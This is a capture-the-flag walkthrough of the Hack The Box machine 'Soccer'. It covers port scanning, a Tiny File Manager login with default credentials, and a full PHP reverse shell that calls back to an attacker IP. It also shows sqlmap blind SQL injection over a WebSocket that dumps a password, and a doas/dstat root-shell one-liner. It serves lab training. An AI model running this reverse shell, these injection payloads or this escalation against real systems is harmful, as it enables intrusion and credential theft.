# Soccer

## Nmap scan

```
$ nmap -sC -sV -Pn -oN nmap 10.10.11.194                     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-23 16:38 +08
Nmap scan report for 10.10.11.194
Host is up (0.0065s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Thu, 23 May 2024 08:38:30 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Thu, 23 May 2024 08:38:30 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.94SVN%I=7%D=5/23%Time=664F0081%P=x86_64-pc-linux-gnu%r
SF:(informix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20clos
SF:e\r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection
SF::\x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found
SF:\r\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type
SF:-Options:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\
SF:nContent-Length:\x20139\r\nDate:\x20Thu,\x2023\x20May\x202024\x2008:38:
SF:30\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
SF:ang=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\
SF:n</head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r
SF:(HTTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-
SF:Policy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x201
SF:43\r\nDate:\x20Thu,\x2023\x20May\x202024\x2008:38:30\x20GMT\r\nConnecti
SF:on:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n
SF:<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pr
SF:e>Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,
SF:"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20defaul
SF:t-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\
SF:x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Th
SF:u,\x2023\x20May\x202024\x2008:38:30\x20GMT\r\nConnection:\x20close\r\n\
SF:r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=
SF:\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIO
SF:NS\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConn
SF:ection:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.14 seconds
```

## Initial Access

### Port 80

There is a website running on port 80.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FwtX1IUFxEtQhJu6PXfW4%2Fimage.png?alt=media&#x26;token=a7fbf3e1-5c23-4fa3-8832-873f4e976a73" alt=""><figcaption></figcaption></figure>

After looking at the source code, there is nothing really stands out.

However after enumerating more, there is a directory that stands out.

```
$ feroxbuster -u http://soccer.htb -x js,html,php,txt
                                                                                                                                                                                                                  
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://soccer.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [js, html, php, txt]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      494l     1440w    96128c http://soccer.htb/ground3.jpg
200      GET     2232l     4070w   223875c http://soccer.htb/ground4.jpg
200      GET      147l      526w     6917c http://soccer.htb/index.html
200      GET      809l     5093w   490253c http://soccer.htb/ground1.jpg
200      GET      711l     4253w   403502c http://soccer.htb/ground2.jpg
200      GET      147l      526w     6917c http://soccer.htb/
301      GET        7l       12w      178c http://soccer.htb/tiny => http://soccer.htb/tiny/
301      GET        7l       12w      178c http://soccer.htb/tiny/uploads => http://soccer.htb/tiny/uploads/
[####################] - 41s   450105/450105  0s      found:8       errors:0      
[####################] - 25s   150000/150000  5979/s  http://soccer.htb/ 
[####################] - 31s   150000/150000  4813/s  http://soccer.htb/tiny/ 
[####################] - 31s   150000/150000  4812/s  http://soccer.htb/tiny/uploads/
```

After going to `http://soccer.htb/tiny`, it brings us to this page.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FFuLE1mw8LfnqW1Lp2qQm%2Fimage.png?alt=media&#x26;token=31bd5354-b7e3-40a2-a023-741ec9383b30" alt=""><figcaption></figcaption></figure>

When we look at the source code we can also see the version that this is running on which is `2.4.3`.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FtU5zSwRQWMzh2NmdRYxW%2Fimage.png?alt=media&#x26;token=92d69f5b-dec0-48e4-9667-933e5be6b745" alt=""><figcaption></figcaption></figure>

## Running reverse shell to get www-data

We are able to login as `admin` using the default credentials.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2F38kvBylLGByEq5kDi4BG%2Fimage.png?alt=media&#x26;token=ec96c418-9fa3-40ac-a918-a508f9d90815" alt=""><figcaption></figcaption></figure>

After signing in, we can see that we can upload our own payload.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FlP7hr6gWmJbUzwcIFsf0%2Fimage.png?alt=media&#x26;token=2a40a718-853f-4e2c-b4cc-91befec95d3d" alt=""><figcaption></figcaption></figure>

This will be the payload we will be using to get back a reverse shell from the target.

```
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.2';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 
```

The only place that we can upload is `/var/www/html/tiny/uploads`.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FdUCgeVJIaYKC2rwKKlUN%2Fimage.png?alt=media&#x26;token=0e636919-994a-4cad-9123-2888740eefa2" alt=""><figcaption></figcaption></figure>

After that, we can just go that page to trigger the reverse shell.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FtB3waj4ulg1Znz9S6jmq%2Fimage.png?alt=media&#x26;token=f36e5610-c428-49c3-bdf2-c36a1a471297" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FbPJK6CVuirjWgvgsNWeM%2Fimage.png?alt=media&#x26;token=32cb1344-7e8e-4f54-973a-c02f001e27c8" alt=""><figcaption></figcaption></figure>

After running `linpeas.sh`, we can see that there is a subdomain in the nginx config

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2F1llomqaZEVzsqJyjlR8Q%2Fimage.png?alt=media&#x26;token=9edd0bdb-b695-476d-993a-f95347afa626" alt=""><figcaption></figcaption></figure>

After visiting that webpage, we can see that the website is able to login and signup.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FLmiL7xKf4i4Q9eTa0Lly%2Fimage.png?alt=media&#x26;token=b48922ea-c4f3-4f4c-b110-c1ccc62c4148" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2F85Yl4hoDMOj1WyyBtp8c%2Fimage.png?alt=media&#x26;token=708265f4-9b42-432c-9754-879ae5cb4fcc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FZrJ2RgRs4BNQApuhhfeE%2Fimage.png?alt=media&#x26;token=8937c101-6803-46f9-a64a-fd3c3bc8311a" alt=""><figcaption></figcaption></figure>

After signing in, we are greeted with this page.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FRZBpi0mVNoswXpATY9Y0%2Fimage.png?alt=media&#x26;token=1b549f5e-70b9-4160-b6b5-b602acd2db14" alt=""><figcaption></figcaption></figure>

If we try our ticket ID, it will return `Ticket Exists`.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FhtRw0gc18cKedGYDrxT9%2Fimage.png?alt=media&#x26;token=cdf9f37e-eb22-4ee3-a9e3-bb3391bdedd6" alt=""><figcaption></figcaption></figure>

If we try a random ticket number or random charaacters, it will return us `Ticket Doesn't Exist`.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FwdHW8IReM8qrCrWUxkyw%2Fimage.png?alt=media&#x26;token=0a683b80-82bc-4b3a-8a25-44de1aa9df80" alt=""><figcaption></figcaption></figure>

However, if we add random numbers but with the SQLi payload, it will return as `Ticket Exists`.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FRzuzQapnpXmqDSSg2cuU%2Fimage.png?alt=media&#x26;token=a775f438-563b-47ce-9b5d-de341062ae60" alt=""><figcaption></figcaption></figure>

However, it does not trigger an request when click enter on our keyboard.

Upon inspecting the source code, we can see that they are using WebSockets to send the message

```html
<script>
        var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
        window.onload = function () {
        
        var btn = document.getElementById('btn');
        var input = document.getElementById('id');
        
        ws.onopen = function (e) {
            console.log('connected to the server')
        }
        input.addEventListener('keypress', (e) => {
            keyOne(e)
        });
        
        function keyOne(e) {
            e.stopPropagation();
            if (e.keyCode === 13) {
                e.preventDefault();
                sendText();
            }
        }
        
        function sendText() {
            var msg = input.value;
            if (msg.length > 0) {
                ws.send(JSON.stringify({
                    "id": msg
                }))
            }
            else append("????????")
        }
        }
        
        ws.onmessage = function (e) {
        append(e.data)
        }
        
        function append(msg) {
        let p = document.querySelector("p");
        // let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
        // p.style.color = randomColor;
        p.textContent = msg
        }
</script>
```

If we look at BurpSuite, we can see it under `WebSockets history`. We can also see how the data is being sent over.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2Fgd5hx0Bn0Nqe35cqvE5u%2Fimage.png?alt=media&#x26;token=8884a32d-1c63-4f47-b07c-500e517e3428" alt=""><figcaption></figcaption></figure>

From there we can use sqlmap to automated the process.

```
$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id":"4444 or 1=1"}' -dbs
        ___
       __H__                                                                                                                                                                                                      
 ___ ___[']_____ ___ ___  {1.8.2#stable}                                                                                                                                                                          
|_ -| . [']     | .'| . |                                                                                                                                                                                         
|___|_  [.]_|_|_|__,|  _|                                                                                                                                                                                         
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                      

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:18:31 /2024-05-24/

JSON data found in POST body. Do you want to process it? [Y/n/q] y
[11:18:33] [INFO] resuming back-end DBMS 'mysql' 
[11:18:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"id":"4444 or 1=1 AND 6922=6922"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id":"4444 or 1=1 AND (SELECT 2438 FROM (SELECT(SLEEP(5)))vAzG)"}
---
[11:18:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[11:18:36] [INFO] fetching database names
[11:18:36] [INFO] fetching number of databases
[11:18:36] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:18:36] [INFO] retrieved: 5
[11:18:36] [INFO] retrieved: mysql
[11:18:37] [INFO] retrieved: information_schema
[11:18:40] [INFO] retrieved: performance_schema
[11:18:43] [INFO] retrieved: sys
[11:18:44] [INFO] retrieved: soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
```

We can see that there are 5 different database but we are more interested in `soccer_db` database.

From there we can just automated the process again.

```
$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id":"4444 or 1=1"}' -D soccer_db --tables
        ___
       __H__                                                                                                                                                                                                      
 ___ ___[(]_____ ___ ___  {1.8.2#stable}                                                                                                                                                                          
|_ -| . [.]     | .'| . |                                                                                                                                                                                         
|___|_  ["]_|_|_|__,|  _|                                                                                                                                                                                         
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                      

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:19:32 /2024-05-24/

JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[11:19:34] [INFO] resuming back-end DBMS 'mysql' 
[11:19:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"id":"4444 or 1=1 AND 6922=6922"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id":"4444 or 1=1 AND (SELECT 2438 FROM (SELECT(SLEEP(5)))vAzG)"}
---
[11:19:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[11:19:37] [INFO] fetching tables for database: 'soccer_db'
[11:19:37] [INFO] fetching number of tables for database 'soccer_db'
[11:19:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:19:37] [INFO] retrieved: 1
[11:19:37] [INFO] retrieved: accounts
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+

[11:19:38] [INFO] fetched data logged to text files under '/home/ranay/.local/share/sqlmap/output/soc-player.soccer.htb'

[*] ending @ 11:19:38 /2024-05-24/
```

We will notice that there is only 1 table which is `accounts`.

We will then dump out the content of this table to see what is inside.

```
$ sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id":"4444 or 1=1"}' -D soccer_db -T accounts --dump
        ___
       __H__                                                                                                                                                                                                      
 ___ ___[']_____ ___ ___  {1.8.2#stable}                                                                                                                                                                          
|_ -| . [.]     | .'| . |                                                                                                                                                                                         
|___|_  [']_|_|_|__,|  _|                                                                                                                                                                                         
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                      

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:20:41 /2024-05-24/

JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[11:20:43] [INFO] resuming back-end DBMS 'mysql' 
[11:20:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"id":"4444 or 1=1 AND 6922=6922"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id":"4444 or 1=1 AND (SELECT 2438 FROM (SELECT(SLEEP(5)))vAzG)"}
---
[11:20:46] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[11:20:46] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[11:20:46] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:20:46] [INFO] retrieved: 4
[11:20:46] [INFO] retrieved: email
[11:20:47] [INFO] retrieved: id
[11:20:47] [INFO] retrieved: password
[11:20:49] [INFO] retrieved: username
[11:20:50] [INFO] fetching entries for table 'accounts' in database 'soccer_db'
[11:20:50] [INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
[11:20:50] [INFO] retrieved: 1
[11:20:50] [INFO] retrieved: player@player.htb
[11:20:55] [INFO] retrieved: 1324
[11:20:56] [INFO] retrieved: PlayerOftheMatch2022
[11:20:59] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

[11:21:00] [INFO] table 'soccer_db.accounts' dumped to CSV file '/home/ranay/.local/share/sqlmap/output/soc-player.soccer.htb/dump/soccer_db/accounts.csv'
[11:21:00] [INFO] fetched data logged to text files under '/home/ranay/.local/share/sqlmap/output/soc-player.soccer.htb'

[*] ending @ 11:21:00 /2024-05-24/
```

From here, we can get the password (`PlayerOftheMatch2022`) for the user `player`.

<figure><img src="https://2790417739-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIXulVMkW3AbpCXfmoP1H%2Fuploads%2FnKOH0kFXCZY77vNsxyj7%2Fimage.png?alt=media&#x26;token=ae02b766-afd8-475c-ab1b-5c05c07cd2aa" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### doas Privilege Escalation

We will first find if there is a `doas.conf`

```
find / -type f -name "doas.conf" 2>/dev/null 
/usr/local/etc/doas.conf
```

Next, we will see what is the command that we are able to use using `doas` command. We will see that we can use `dstat` command.

```
cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
```

If we search online, we can see that there is a privilege escalation vulnerability using `sudo` which works the same way as `doas` since the user to doas is root.

{% embed url="<https://gtfobins.github.io/gtfobins/dstat/>" %}

After following the steps, we are able to get back the root shell and from there get the flag.

```
$ echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
$ doas -u root /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
# whoami
root
```
